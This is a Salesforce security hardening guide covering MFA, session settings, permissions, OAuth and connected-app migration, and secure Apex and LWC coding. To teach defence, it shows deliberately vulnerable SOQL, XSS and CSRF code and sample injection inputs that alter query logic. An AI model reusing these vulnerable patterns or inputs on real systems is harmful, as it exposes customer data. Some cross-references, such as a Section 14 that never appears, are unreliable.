Home Salesforce About
SALESFORCE SECURITY GUIDE • UPDATED NOVEMBER 2026

Salesforce Security: The Ultimate Guide to Preventing Hacks

Step-by-step instructions, code examples, and checklists to protect your org from data breaches and social engineering attacks

Connected Apps
Summer '27
Salesforce ends support for connected apps; migrate to external client apps
OAuth Flows
Feb 20, 2027
Username-password, user-agent and hybrid user-agent flows enforced as retired
Guide
17
Sections covered, with a glossary
Video
5 min
Connected apps and OAuth flows walkthrough in section 7

01 The 2025 Salesforce Breach Wave: What Happened?

Article Updated: November 2026

Section 7 now covers external client apps, the Winter '27 migration path, the OAuth flows being retired and the device flow restriction. The rest of the guide keeps its coverage through Summer '26 (API v67). Originally published November 2025.

What's New in This Update (November 2026)
  • Added: Section 7 covers external client apps, the Winter '27 "Migrate to External Client App" button, the OAuth flows being retired (username-password, user-agent, hybrid user-agent) and the device flow restriction, with the release-note wording and dates
  • Added: A video walkthrough of the Winter '27 connected app and external client app changes
  • Updated: Permission strategy guidance now reflects Salesforce's current direction - permission sets remain the recommended model, with no retirement deadline for profile permissions
  • Added: Summer '26 (API v67) secure-by-default coverage - Apex database operations now run in user mode by default
  • Added: 2026 MFA enforcement expansion (SSO and sandbox logins in scope)
  • Expanded: Connected app restrictions coverage including bypass permissions
  • Updated: Latest breach-landscape intelligence with per-source figures
  • Updated: Secure Coding Guide reference now v67.0 (Summer '26)

In 2025, the Salesforce ecosystem experienced an unprecedented series of coordinated attacks. Understanding what happened is the first step to preventing similar incidents in your organization.

Critical Alert: According to security industry reporting, hundreds of organizations reportedly had their Salesforce instances compromised through social engineering and OAuth abuse in 2025. Salesforce posts official incident notifications on the Salesforce Trust general messages page.

Major Incidents Timeline

Date Company Impact
June 2025 Google 2.55 million customer records exposed
July 2025 Allianz Life Customer data compromised via ShinyHunters
August 2025 Chanel, Pandora Fashion brands targeted in coordinated attack
August 2025 Workday Business contact information accessed from a limited subset of records; no record count disclosed
August 2025 Farmers Insurance 1.1 million customer records disclosed
Aug 2025 Airlines (KLM, Air France, etc.) Passenger data and loyalty numbers exposed

To put the campaign in perspective: researchers estimate the overall 2025 ShinyHunters campaign against Salesforce customers exposed roughly 70 million records in aggregate, spread across thousands of organizations. That figure describes the entire campaign - no single victim accounted for it.

How the Attacks Worked

The breaches were not due to Salesforce platform vulnerabilities. As documented in Salesforce Trust notifications, the attacks exploited:

  1. Social Engineering (Vishing): Attackers posed as Salesforce support staff, calling employees and convincing them to install malicious software
  2. OAuth Token Abuse: Once access was gained, attackers used legitimate OAuth features to exfiltrate data
  3. Supply Chain Compromise: The Salesloft-Drift integration was compromised, providing OAuth tokens to hundreds of organizations
  4. Browser Extension Attacks: In December 2024, at least 35 Chrome extensions were compromised in a supply chain attack, exposing session cookies and credentials of roughly 2.6 million users; a related February 2025 GitLab analysis found malicious extensions impacting 3.2+ million users (See Section 14)

Key Lesson: A secure platform doesn't guarantee a secure org. Most breaches result from misconfiguration and social engineering, not technical exploits.

02 Salesforce Security Health Check

The Security Health Check is your first line of defense. It's a built-in tool that scores your org's security settings from 0-100.

Step-by-Step: Running Health Check

1

Navigate to Health Check

Go to Setup > Quick Find > Type "Health Check" > Click Health Check

2

Review Your Score

Your org receives a score from 0-100. Aim for 80+ as a minimum. Below 60 indicates critical security gaps.

3

Fix High-Risk Issues

Click Fix Risks to automatically apply recommended settings, or click individual settings to configure manually.

Key Settings to Review

Setting Risk Level Recommended Value
Password Minimum Length High 12+ characters
Password Complexity High Must include letters, numbers, special chars
Session Timeout Medium 2 hours or less
Lock Sessions to IP Medium Enabled (if users don't roam)
Require HTTPS High Always enabled

Pro Tip: According to the Salesforce Health Check documentation, you can create up to 5 custom baselines to measure against your organization's specific security requirements instead of the default Salesforce Baseline.

03 Multi-Factor Authentication (MFA)

Since February 2022, MFA is contractually required for all Salesforce customers. Even if credentials are stolen, MFA adds a second check that an attacker also has to pass. It lowers the risk a lot but is not a guarantee, for example when a user approves a fake prompt.

2026 Enforcement Update: Salesforce is expanding technical MFA enforcement in mid-2026. SSO logins and sandbox environments are now in scope, and the platform blocks non-compliant logins rather than relying on contractual policy alone. If any of your login flows still bypass MFA, now is the time to close those gaps.

Step-by-Step: Enable MFA for All Users

1

Configure Session Settings

Go to Setup > Session Settings > Scroll to Session Security Levels > Move Multi-Factor Authentication to the High Assurance column > Click Save

2

Create MFA Permission Set

Go to Setup > Permission Sets > Click New > Name it "MFA_Required" > Save

3

Enable MFA Permission

In your new permission set, click System Permissions > Click Edit > Enable "Multi-Factor Authentication for User Interface Logins" > Save

4

Assign to All Users

Click Manage Assignments > Add Assignment > Select all users > Assign

Supported MFA Methods

Method Description Best For
Salesforce Authenticator Push notifications, location-based auto-approval Most non-privileged users (recommended)
TOTP Apps Google Authenticator, Microsoft Authenticator, Authy Users preferring third-party apps
Security Keys YubiKey, Titan Security Key (USB/NFC) High-security users, admins (see the privileged users note)
Built-in Authenticators Touch ID, Face ID, Windows Hello Users with biometric devices

Privileged users: Per Understand MFA Requirements, "internal users with certain privileged permissions, such as admins, are required to use phishing-resistant verification methods for MFA starting in June 2026." A user counts as privileged with the System Administrator profile or the Author Apex, Customize Application, Modify All Data or View All Data permission. Push and TOTP are fine for ordinary users, but check Salesforce's MFA Verification Method Tiers page before you choose methods for admins and developers. The same page says "MFA isn't required for API logins, but MFA is required for automation or integration users who access the Salesforce UI."

DO

  • Require users to register multiple MFA methods as backup
  • Use MFA with Single Sign-On (SSO) for layered security
  • Train users on recognizing fake MFA prompts
  • Set up admin procedures for MFA reset requests

DON'T

  • Rely solely on Trusted IP Ranges (doesn't satisfy MFA requirement)
  • Allow users to skip MFA setup
  • Share MFA devices between users
  • Approve MFA requests without verifying the login attempt

04 Session Security Settings

Session settings control how long users stay logged in and what protections are applied during their session. Proper configuration prevents session hijacking and limits exposure if credentials are compromised.

Critical Session Settings

Navigate to Setup > Session Settings to configure these settings:

Setting Recommended Value Why
Session Timeout 2 hours (or less for sensitive data) Limits exposure from unattended sessions
Force Logout on Session Timeout Enabled Prevents token reuse after timeout
Lock Sessions to IP Address Enabled (if users don't roam) Prevents session hijacking from other IPs
Lock Sessions to Domain Enabled Prevents cross-domain session theft
Clickjack Protection Enabled for all pages Prevents UI redressing attacks
Require Secure Connections (HTTPS) Enabled Encrypts all traffic

Login IP Restrictions (Profile Level)

According to Salesforce Trailhead security module, you can restrict login to specific IP ranges per profile:

1

Navigate to the Profile

Go to Setup > Profiles > Select the profile > Login IP Ranges

2

Add Allowed IP Ranges

Click New > Enter Start IP and End IP > Add description (e.g., "Corporate VPN") > Save

Login Hours Restrictions

Limit when users can log in to reduce off-hours attack windows:

1

Configure Login Hours

Go to Setup > Profiles > Select profile > Login Hours > Click Edit

2

Set Allowed Hours

Click and drag to select allowed hours for each day. Gray means blocked, colored means allowed.

Important: Login IP ranges are checked when users log in; whether an open session stays tied to an IP address depends on the session settings above (such as Lock Sessions to IP Address). Login hours work differently: per Salesforce Help, "If users are logged in when their login hours end, they can continue to view their current page, but they can't take any further action." See View and Edit Login Hours in Profiles.

05 Permission Sets & Least Privilege

The principle of least privilege is fundamental: users should have only the minimum permissions needed to do their job. This limits the blast radius of any security incident.

Note: Permission Sets and Permission Set Groups remain Salesforce's recommended access-control model. While Salesforce has signaled this direction for years, there is currently no retirement deadline for permissions on profiles. Adopt permission sets as a best practice on your own timeline rather than waiting for a forced migration.

Step-by-Step: Audit High-Risk Permissions

Dangerous Permissions to Review

Permission Risk Who Should Have It
Modify All Data Critical System Admin only
View All Data Critical Auditors, limited admins
Manage Users High User admins only
Author Apex High Developers only (not in prod)
API Enabled Medium Integration users, power users
Export Reports Medium Approved analysts only

How to Find Over-Privileged Users

-- SOQL Query: Find users with Modify All Data permission
SELECT Id, Name, Profile.Name
FROM User
WHERE Profile.PermissionsModifyAllData = true
AND IsActive = true
-- Find all permission sets with View All Data
SELECT Id, Name, PermissionsViewAllData
FROM PermissionSet
WHERE PermissionsViewAllData = true

Best Practice: Permission Set Architecture

1

Create Role-Based Permission Sets

Create separate permission sets for each function: "Sales_Read", "Sales_Create", "Sales_Admin"

2

Group into Permission Set Groups

Combine permission sets into groups: "Sales_User_Group" includes Sales_Read + Sales_Create

3

Assign Groups to Users

Assign users to permission set groups rather than individual permission sets for easier management

DO

  • Use Minimum Access profile as the base
  • Grant permissions through Permission Sets only
  • Review permissions quarterly
  • Remove permissions when roles change

DON'T

  • Clone System Administrator profile
  • Give "Modify All Data" to resolve access issues
  • Leave terminated users active
  • Create user-specific permission sets

06 Field-Level Security (FLS)

Field-Level Security controls which fields users can see and edit. According to Salesforce data security documentation, FLS is enforced across all parts of Salesforce including reports, list views, and search results.

Configuring FLS for Sensitive Fields

1

Navigate to Field

Setup > Object Manager > Select Object > Fields & Relationships > Select Field

2

Set Field-Level Security

Click Set Field-Level Security > Configure Visible/Read-Only for each profile > Save

Enforcing FLS in Apex Code

According to Apex developer documentation, Apex has historically run in system context by default, bypassing FLS - which meant you had to explicitly enforce security in code.

Secure by Default in Summer '26: Starting with API version 67.0 (Summer '26), SOQL, SOSL, DML statements, and Database methods run in user mode by default for Apex code compiled at v67 or later. This is not retroactive - classes saved on earlier API versions still run in system mode, so the explicit techniques below remain essential for existing code.

Method 1: User Mode Queries (Recommended - GA Spring '23, API v57; default at API v67+)

// RECOMMENDED: User mode automatically enforces CRUD and FLS
List<Account> accounts = [
    SELECT Id, Name, AnnualRevenue, Phone
    FROM Account
    WITH USER_MODE
];

// For DML operations
Database.insert(newAccounts, AccessLevel.USER_MODE);

Method 2: WITH SECURITY_ENFORCED

// Throws exception if user lacks field access
List<Contact> contacts = [
    SELECT Id, Name, Email, SSN__c
    FROM Contact
    WITH SECURITY_ENFORCED
];
// If user can't see SSN__c, query throws System.QueryException

Method 3: Manual Security Checks

public class SecureContactController {

    public static List<Contact> getContacts() {
        // Check object-level access
        if (!Schema.sObjectType.Contact.isAccessible()) {
            throw new AuraHandledException('You do not have access to Contacts');
        }

        // Check field-level access
        if (!Schema.sObjectType.Contact.fields.Email.isAccessible()) {
            throw new AuraHandledException('You do not have access to Email field');
        }

        return [SELECT Id, Name, Email FROM Contact LIMIT 100];
    }

    public static void updateContact(Contact con) {
        // Check update permission
        if (!Schema.sObjectType.Contact.isUpdateable()) {
            throw new AuraHandledException('You cannot update Contacts');
        }

        // Check field update permission
        if (!Schema.sObjectType.Contact.fields.Email.isUpdateable()) {
            throw new AuraHandledException('You cannot update Email field');
        }

        update con;
    }
}

Security Alert: Never use without sharing keyword unless absolutely necessary. It bypasses sharing rules and can expose sensitive data. If you must use it, document why and review regularly.

07 OAuth, Connected Apps & External Client Apps Security

Connected Apps and OAuth tokens were the primary attack vector in the 2025 breach wave. According to Salesforce Connected Apps documentation, proper configuration is essential. Salesforce's current direction is external client apps: the Winter '27 release notes say that connected apps keep working but lose support in Summer '27. This section keeps the connected app advice that still applies and adds the migration path and the flows being retired.

Salesforce Winter '27: Migrate Connected Apps, Build External Client Apps, Retiring OAuth Flows

Updated November 2026: Salesforce is retiring three OAuth flows (username-password, user-agent and hybrid user-agent) and restricting a fourth, the device flow, to local external client apps. Salesforce also blocks uninstalled connected apps by default for most users (announced for September 2025). Dates and exact wording are in the table below.

What Winter '27 Changes for Connected Apps and OAuth Flows

The wording below is quoted from the Salesforce release notes and Help article (Winter '27, release 264; read in October 2026). Check the Release Updates page in your own org, because enforcement dates and test run options are shown there.

ChangeWhat Salesforce saysDate
Migrate All Connected Apps to External Client Apps "In Summer '27, Salesforce is ending support for connected apps. Connected apps will keep working, but Salesforce will no longer fix bugs or provide support for the integrations and authorization flows that use them." Applies to Lightning Experience in Enterprise, Unlimited, and Developer editions. Available starting in Winter '27; "enforced for production instances in Summer '27"
OAuth 2.0 username-password flow retirement "This update will break all connected app integrations that use this flow." Use the "OAuth 2.0 web-server flow with the Proof Key for Code Exchange (PKCE) extension" for end user login and the "OAuth 2.0 client credentials flow" for server-to-server integrations. Enforcement postponed to February 20, 2027
OAuth user-agent and hybrid user-agent flows retirement "The user-agent and hybrid user-agent flows are insecure because they directly expose access tokens to the browser." Update integrations to "the OAuth web-server flow or hybrid web-server flow with the Proof Key for Code Exchange (PKCE) extension." For apps installed from managed packages, "contact the app developer." Enforced on February 20, 2027
Restrict the OAuth 2.0 device flow Salesforce is "restricting this flow to local external client apps with a localhost callback URL." "For connected apps, you must migrate to external client apps to continue using the device flow." "Salesforce enforces this update by blocking the device flow for non-compliant apps on November 30, 2026."
SOAP API login() in versions 31.0 through 64.0 "In Summer '27, the SOAP API login() call in SOAP API versions 31.0 through 64.0 will no longer be supported and no longer be available." The note says to "use external client apps for authentication." Summer '27
Use Any API Auth for SOAP API login() "All users must have the Use Any API Auth user permission assigned to them" to authenticate with SOAP API login(). Enforced uniformly across all orgs beginning December 1, 2026
Refresh Token Idle TTL Is Limited to 30 Days "Refresh tokens expire if they haven't been used for 30 days." At enforcement Salesforce "immediately expires refresh tokens that have been idle for more than 30 days along with their associated access token", and for flows without refresh tokens expires access tokens whose last login was more than 30 days ago. Interactive end-user apps log the user out; background integrations must request a new token. Production, scratch and Developer Edition orgs on a rolling basis starting November 4, 2026

Migrating a Connected App to an External Client App

1

Inventory Your Connected Apps

Open Setup > App Manager and list every connected app. Integrations, mobile sign-in and single sign-on can all run through connected apps, so check owners before you change anything. Note that, per Salesforce Help, "You can't migrate single sign-on connected apps to external client apps" at this time.

2

Check Eligibility and Flows First

Per Connected App to External Client App Migration, the Migrate button appears only if the app meets all eligibility requirements: User Provisioning is not enabled, no custom Apex handler is configured, Canvas is not enabled, SAML does not use Triple DES encryption, and no standard notification subscriptions are configured for non-internal apps. Also confirm the app does not use the username-password flow: "The migration process can't detect username-password flow" and "External client apps don't support username-password flow", so an integration that uses it will not work on the new app. Move it to the web server flow with PKCE or the client credentials flow instead. The migration dialog in my own run also asked me to confirm the app uses neither the username-password flow nor dynamic client registration, which external client apps don't support, so confirm it for your own app first.

3

Migrate

Salesforce's steps: "From the App Manager in Setup, open the connected app and click Migrate to External Client App. The automated process creates an external client app." In my run the dialog said it "creates an identical external client app with the same plugins and functionality." Help adds that migration preserves the consumer key and secret and that refresh tokens remain valid. Migration works only through the user interface, not the API or CLI.

4

Keep the Original Connected App

Help says: "Don't delete the original connected app after migration. Both apps share the same consumer." The original stays in App Manager as a read-only version.

5

Review the Migrated App's Security Settings

The Summer '26 release note (re-read on 9 November 2026) says the OAuth controls apply to apps "created in July 2026 and later" and that "if you migrate to an external client app, Salesforce doesn't enforce these controls for the migrated app", so a migrated older app does not get PKCE and rotation switched on for it. The 30-day idle refresh token limit is a separate, later enforcement on all connected apps and external client apps (production rollout from November 4, 2026, see the table), so it applies to the migrated app too. Turn on PKCE and rotation yourself where your flows allow it, and expect users and integrations to sign in again if their refresh token was idle for more than 30 days.

6

Use Test Run Before Enforcement

Release updates often provide a Test Run option so you can enable an update and examine any changes before the Complete Steps By date. For the SOAP login() retirement, "the test run disables the SOAP API login() call in your org", so treat it as an outage test and run it in a sandbox first.

Building a New External Client App

New integrations should start as external client apps. The Summer '26 release note says "by default, Salesforce blocks you from creating new connected apps", and in the orgs I tried, creating one gave: "You can't create a connected app. To enable connected app creation, contact Salesforce Customer Support." Salesforce also enforces OAuth security controls for new apps: "The Proof Key for Code Exchange (PKCE) extension is required for apps that use the authorization code grant type. For apps that use the refresh token flow, Salesforce requires two controls: refresh token rotation and a 30-day limit to the time-to-live (TTL) for idle refresh tokens." Those settings come ticked and locked on a new app.

Finding SOAP login() Callers

Salesforce's Help article "Platform SOAP API login() Retirement & new Security Requirements" says to use Login History: look for entries with LoginType "Other Apex API" or "Partner Product", Login Subtype "SOAP API", and API Type "SOAP Enterprise", "SOAP Partner" or "SOAP Tooling". "The Application field shows N/A to indicate that the SOAP client isn't bound to a connected app or external client app." Replacements it names: "For server-to-server or headless integration, use either the OAuth 2.0 JWT bearer flow or the OAuth 2.0 client credentials flow. For browser-based or user-driven integration, use the OAuth 2.0 web server flow." Source: Salesforce Help article 005132110.

Audit the Bypass Permissions: Two system permissions exempt users from these restrictions - "Approve Uninstalled Connected Apps" and "Use Any API Client". Audit who holds them and remove them from everyone who doesn't strictly need them. Salesforce help documentation also notes that, as of Spring '26, connected app creation itself is restricted by default, giving admins tighter control over what gets built in the org.

Step-by-Step: Secure Connected App Configuration

Still applies: these steps cover the connected apps you keep until you migrate them, and the same questions (who can authorize, how long tokens live, where tokens can be used) apply to external client apps. Setup labels for external client apps differ, so check the screen in your org.

1

Audit Existing Connected Apps

Setup > Connected Apps OAuth Usage > Review all apps and their access levels

2

Block Untrusted Apps

For any unknown apps, click Block to immediately revoke access and prevent future connections

3

Configure Admin-Approved Authorization

For each Connected App: Manage > Edit Policies > Set Permitted Users to "Admin approved users are pre-authorized"

4

Set Token Expiration

Under OAuth Policies, set Refresh Token Expiration to 90 days or less. Enable Refresh Token Rotation. Salesforce also limits idle refresh tokens to 30 days (see the table above).

Connected App Security Checklist

Plan the External Client App Migration: Inventory connected apps, migrate them before Summer '27, and replace username-password, user-agent and hybrid user-agent flows
Require MFA for Connected Apps: Under OAuth Policies, select "High Assurance session required"
Use Dedicated Integration Users: Create specific user accounts for each integration with minimum required permissions
Enable PKCE: Use Proof Key for Code Exchange for mobile and JavaScript apps. It is also the replacement Salesforce names for the retiring username-password and user-agent flows
Limit Scopes: Request only the minimum API scopes needed (avoid "full" scope)
Enable IP Restrictions: Add IP Relaxation policies to limit where tokens can be used
Monitor OAuth Usage: Regularly review Connected Apps OAuth Usage for unusual patterns
Audit Bypass Permissions: Remove "Approve Uninstalled Connected Apps" and "Use Any API Client" from all non-essential users

Code: Creating a Secure Connected App

This metadata example is for reference. Orgs that block new connected apps will refuse to deploy it, and new integrations should be built as external client apps.

{
    "fullName": "Secure_Integration_App",
    "label": "Secure Integration App",
    "oauthConfig": {
        "callbackUrl": "https://your-app.com/oauth/callback",
        "isAdminApproved": true,
        "scopes": ["api", "refresh_token"],
        "isSecretRequiredForRefreshToken": true,
        "isCodeCredentialPostOnly": true
    },
    "oauthPolicy": {
        "ipRelaxation": "ENFORCE",
        "refreshTokenPolicy": "SPECIFIC_EXPIRATION",
        "refreshTokenValidityPeriod": 90,
        "singleLogoutUrl": "https://your-app.com/logout"
    }
}

Important Distinction: While Connected Apps appear in OAuth Usage reports and can be managed through Setup, browser extensions are not visible to Salesforce as apps. Extensions piggyback on user sessions, so they are not listed in Connected Apps or OAuth Usage and their actions are attributed to the user. See Section 14: Browser Extension Risks to understand this hidden threat vector.

08 SOQL Injection Prevention

SOQL injection is one of the OWASP Top 10 vulnerabilities. It occurs when user input is directly concatenated into dynamic SOQL queries, allowing attackers to modify query logic.

Vulnerable vs. Secure Code Examples

VULNERABLE: Direct String Concatenation

// DANGEROUS - DO NOT USE
public List<Account> searchAccounts(String searchTerm) {
    String query = 'SELECT Id, Name FROM Account WHERE Name = \'' + searchTerm + '\'';
    return Database.query(query);
}

// Attacker input: ' OR Name != '
// Results in: SELECT Id, Name FROM Account WHERE Name = '' OR Name != ''
// Returns ALL accounts!

SECURE Method 1: Static Queries with Bind Variables (Recommended)

// SECURE - Bind variable prevents injection
public List<Account> searchAccounts(String searchTerm) {
    return [SELECT Id, Name FROM Account WHERE Name = :searchTerm];
}

// Even better: Use LIKE with bind variable
public List<Account> searchAccountsLike(String searchTerm) {
    String sanitizedTerm = '%' + searchTerm + '%';
    return [SELECT Id, Name FROM Account WHERE Name LIKE :sanitizedTerm];
}

SECURE Method 2: escapeSingleQuotes (When Dynamic SOQL Required)

// SECURE - Escapes single quotes in user input
public List<Account> dynamicSearch(String searchTerm) {
    String escapedTerm = String.escapeSingleQuotes(searchTerm);
    String query = 'SELECT Id, Name FROM Account WHERE Name LIKE \'%' + escapedTerm + '%\'';
    return Database.query(query);
}

SECURE Method 3: Database.queryWithBinds (GA Spring '23, API v57+)

// SECURE - Modern approach with bind map
public List<Account> modernSearch(String searchTerm, String industry) {
    String query = 'SELECT Id, Name, Industry FROM Account WHERE Name LIKE :searchTerm';

    if (String.isNotBlank(industry)) {
        query += ' AND Industry = :industry';
    }

    Map<String, Object> bindMap = new Map<String, Object>{
        'searchTerm' => '%' + searchTerm + '%',
        'industry' => industry
    };

    return Database.queryWithBinds(query, bindMap, AccessLevel.USER_MODE);
}

Handling Non-String Inputs

According to Salesforce Apex Developer Guide, escapeSingleQuotes doesn't protect against all injection types:

// VULNERABLE - Boolean injection
String isActiveInput = 'true OR ReceivesAdminInfoEmails=true';
String query = 'SELECT Id FROM User WHERE IsActive=' + String.escapeSingleQuotes(isActiveInput);
// Injection succeeds because no quotes are needed!

// SECURE - Typecast to enforce data type
public List<User> getUsersByStatus(String isActiveInput) {
    Boolean isActive;
    try {
        isActive = Boolean.valueOf(isActiveInput);
    } catch (Exception e) {
        throw new AuraHandledException('Invalid input');
    }
    return [SELECT Id, Name FROM User WHERE IsActive = :isActive];
}

DO

  • Use static SOQL with bind variables whenever possible
  • Use escapeSingleQuotes() for string values in dynamic SOQL
  • Typecast non-string inputs (Integer, Boolean, Date)
  • Validate input format with regex before use
  • Use Database.queryWithBinds() for complex dynamic queries

DON'T

  • Concatenate user input directly into queries
  • Trust escapeSingleQuotes alone for non-string values
  • Build ORDER BY or LIMIT clauses from user input
  • Allow users to specify field names dynamically

09 Cross-Site Scripting (XSS) Prevention

XSS attacks inject malicious scripts into web pages viewed by other users. Salesforce has built-in protections, but developers must follow best practices to avoid creating vulnerabilities.

XSS in Visualforce Pages

VULNERABLE: Unescaped Output

<!-- DANGEROUS - escape="false" allows XSS -->
<apex:outputText value="{!userInput}" escape="false" />

<!-- DANGEROUS - Direct output in JavaScript -->
<script>
    var name = '{!JSENCODE(userInput)}'; // Must use JSENCODE
</script>

SECURE: Proper Escaping

<!-- SECURE - Default behavior escapes HTML -->
<apex:outputText value="{!userInput}" />

<!-- SECURE - Explicit HTML encoding -->
<apex:outputText value="{!HTMLENCODE(userInput)}" />

<!-- SECURE - For JavaScript contexts -->
<script>
    var name = '{!JSENCODE(userInput)}';
    var data = {!JSINHTMLENCODE(jsonData)};
</script>

<!-- SECURE - For URL parameters -->
<a href="/page?param={!URLENCODE(userInput)}">Link</a>

XSS in Lightning Web Components

According to Salesforce LWS Sanitization documentation, LWC provides automatic HTML escaping by default, but DOM manipulation can introduce vulnerabilities:

// SECURE - Template expressions are auto-escaped
<template>
    <p>{userInput}</p> <!-- Automatically escaped -->
</template>

// VULNERABLE - Direct innerHTML assignment
connectedCallback() {
    // DANGEROUS - Allows XSS (even with LWS, user input should be validated)
    this.template.querySelector('div').innerHTML = this.userInput;
}

// SECURE - Use textContent for plain text
connectedCallback() {
    // SAFE - textContent escapes HTML
    this.template.querySelector('div').textContent = this.userInput;
}

// RECOMMENDED - Use lightning-formatted-rich-text for HTML content
// In your template:
<template>
    <lightning-formatted-rich-text value={richTextContent}>
    </lightning-formatted-rich-text>
</template>
// The component automatically sanitizes HTML and only allows safe tags

Best Practice: According to Salesforce Trailhead security module, avoid using lwc:dom="manual" wherever possible. Let LWC manipulate the DOM - it provides the best sanitization through Lightning Web Security (LWS).

Using lightning-formatted-rich-text (Recommended)

The lightning-formatted-rich-text component automatically sanitizes HTML to prevent XSS:

// HTML template
<template>
    <lightning-formatted-rich-text
        value={userProvidedHtml}>
    </lightning-formatted-rich-text>
</template>

// Supported tags (all others are stripped):
// a, abbr, b, br, big, blockquote, code, del, div, em,
// h1-h6, hr, i, img, ins, li, ol, p, pre, s, small,
// span, strong, sub, sup, table, tbody, td, th, tr, u, ul

Encoding Functions Reference

Function Context Use Case
HTMLENCODE() HTML body Text displayed in HTML elements
JSENCODE() JavaScript strings Values in JS string literals
JSINHTMLENCODE() JS in HTML JS in onclick handlers, etc.
URLENCODE() URL parameters Query strings, paths

10 Cross-Site Request Forgery (CSRF) Protection

CSRF attacks trick authenticated users into performing unwanted actions. Salesforce has built-in CSRF protection, but there are edge cases developers must handle.

Salesforce Built-in Protection

According to the Salesforce Secure Coding Guide (v67.0, Summer '26), CSRF protection is automatically enabled:

  • Visualforce Pages: Automatic CSRF tokens included in forms
  • Lightning Web Components: Protected via Lightning Web Security (LWS); legacy Aura contexts still rely on Lightning Locker
  • REST API: Session ID acts as CSRF token

Known Vulnerability: Page Load DML

Critical: CSRF protection has a brief vulnerability window during page load. Never perform DML operations in constructors or initialization methods.

// VULNERABLE - DML in page constructor
public class VulnerableController {
    public VulnerableController() {
        // DANGEROUS - Executes before CSRF check completes
        delete [SELECT Id FROM Task WHERE OwnerId = :UserInfo.getUserId()];
    }
}

// VULNERABLE in LWC - DML on load
@AuraEnabled
public static void riskyMethod() {
    // Don't call this from connectedCallback()!
    delete [SELECT Id FROM Task LIMIT 10];
}

// SECURE - Require explicit user action
public PageReference deleteRecords() {
    // Safe - Called via button click after page fully loaded
    if (ApexPages.currentPage().getParameters().containsKey('confirm')) {
        delete [SELECT Id FROM Task WHERE OwnerId = :UserInfo.getUserId()];
    }
    return null;
}

LWC Best Practices

// VULNERABLE - DML on component load
connectedCallback() {
    deleteRecords(); // DON'T DO THIS
}

// SECURE - Require user interaction
handleDeleteClick() {
    // Show confirmation first
    if (confirm('Are you sure?')) {
        deleteRecords();
    }
}

REST API CSRF Considerations

// When making API calls from external apps, include session token
fetch('/services/data/v65.0/sobjects/Account', {
    method: 'POST',
    headers: {
        'Authorization': 'Bearer ' + sessionId,
        'Content-Type': 'application/json',
        // Salesforce validates session ID as CSRF token
    },
    body: JSON.stringify(accountData)
});

11 Shield Platform Encryption

Shield Platform Encryption provides an extra layer of protection by encrypting sensitive data at rest. It's part of the Salesforce Shield add-on product.

What Shield Encryption Protects

Data Type Encryption Available
Standard and Custom Fields Text, Text Area, Long Text Area, Email, Phone, URL, Date, DateTime
Files and Attachments All files, attachments, and Salesforce Files
Search Index Index entries for encrypted fields
Chatter Posts, comments, questions, answers

Step-by-Step: Enable Shield Encryption

1

Enable Shield Platform Encryption

Setup > Platform Encryption > Encryption Policy > Enable

2

Generate Tenant Secret

Key Management > Generate Tenant Secret > Choose type (Data, Files, Search Index)

3

Select Fields to Encrypt

Encryption Policy > Encrypt Fields > Select objects and fields > Save

4

Enable File Encryption

Encryption Policy > Encrypt Files and Attachments > Enable

Important Considerations:

  • Encrypted fields cannot be used in certain SOQL operations (LIKE, ORDER BY on encrypted fields)
  • Field history tracking works but stores encrypted values
  • Some integrations may need updating to handle encrypted data
  • Backup your tenant secrets securely - if lost, data cannot be recovered

Bring Your Own Key (BYOK)

For maximum control, organizations can manage their own encryption keys:

# Generate key material using OpenSSL
openssl rand -out customer-key.bin 32

# Wrap the key with Salesforce certificate (obtained from Setup)
openssl pkeyutl -encrypt \
    -in customer-key.bin \
    -out wrapped-key.bin \
    -pubin -inkey salesforce-cert.pem \
    -pkeyopt rsa_padding_mode:oaep \
    -pkeyopt rsa_oaep_md:sha256

12 Event Monitoring & Auditing

Continuous monitoring is essential for detecting security incidents early. According to Salesforce Event Monitoring documentation, comprehensive logging enables rapid incident response.

Built-in Monitoring Tools (Free)

1. Login History

Setup > Login History > View last 20,000 logins (6 months via CSV export)

-- Query login history in Apex
SELECT Id, UserId, LoginTime, SourceIp, Status, Application, Browser
FROM LoginHistory
WHERE LoginTime > LAST_N_DAYS:7
ORDER BY LoginTime DESC

2. Setup Audit Trail

Setup > View Setup Audit Trail > The 20 most recent setup changes; click Download for the full setup history of the past 180 days (Salesforce Help)

-- Query setup changes
SELECT Id, CreatedDate, CreatedById, CreatedBy.Name, Action, Section, Display
FROM SetupAuditTrail
WHERE CreatedDate > LAST_N_DAYS:30
ORDER BY CreatedDate DESC

3. Field History Tracking

Enable on sensitive fields to track who changed what and when.

Event Monitoring (Shield - Paid)

Shield Event Monitoring provides comprehensive visibility:

Event Type What It Tracks Security Use Case
Login Event All login attempts (success/failure) Detect brute force, unusual locations
API Event All API calls with details Detect bulk data extraction
Report Export Report downloads and exports Detect data exfiltration
Permission Changes Permission set/profile changes Detect privilege escalation
URI Event All page views with timing Usage patterns, performance

Setting Up Real-Time Alerts

1

Create Transaction Security Policy

Setup > Transaction Security > New Policy

2

Define Trigger Conditions

Example: trigger when a single API request processes more than 50,000 rows (the example threshold in the code below; adapt it to your org)

3

Set Actions

Choose: Block, Multi-Factor Authentication Required, or Notify

// Example to adapt: Apex condition for a policy created in Real-Time Event Monitoring.
// evaluate() returns true when the event triggers the policy.
global class HighVolumeAPIPolicy implements TxnSecurity.EventCondition {
    public Boolean evaluate(SObject event) {
        ApiEvent apiEvent = (ApiEvent) event;
        // Trigger when one API request processes more than 50,000 rows
        return apiEvent.RowsProcessed != null && apiEvent.RowsProcessed > 50000;
    }
}
// The ApiEvent field and the 50,000-row threshold are illustrative; adapt them.
// Test the policy in a sandbox with Notify before you switch the action to Block.

13 Social Engineering Defense

The 2025 breaches primarily used social engineering - attackers calling employees and convincing them to install malicious software. According to Salesforce Security Best Practices, technical controls alone aren't enough.

Common Attack Scenarios

Attack Type How It Works Defense
Vishing (Voice Phishing) Attacker calls claiming to be Salesforce support, asks to install "diagnostic tool" Verify through official channels, never install unsolicited software
Fake OAuth Consent Attacker sends OAuth authorization link for malicious app Admin-only app approval, user training
Credential Phishing Fake Salesforce login page captures username/password MFA, check URL, security awareness training
Pretexting Attacker creates elaborate scenario to gain trust before requesting access Verify identity through known contacts, follow procedures

Security Awareness Training Checklist

Salesforce will NEVER call unsolicited: If someone claims to be from Salesforce, hang up and call official support
Never install software from phone requests: All software installations should go through IT
Verify OAuth app requests: Contact your Salesforce admin before authorizing any new app
Check login URLs carefully: Should always be login.salesforce.com or your My Domain
Report suspicious contacts: Forward phishing emails to security team, report calls
Never share MFA codes: Legitimate support will never ask for your authentication codes

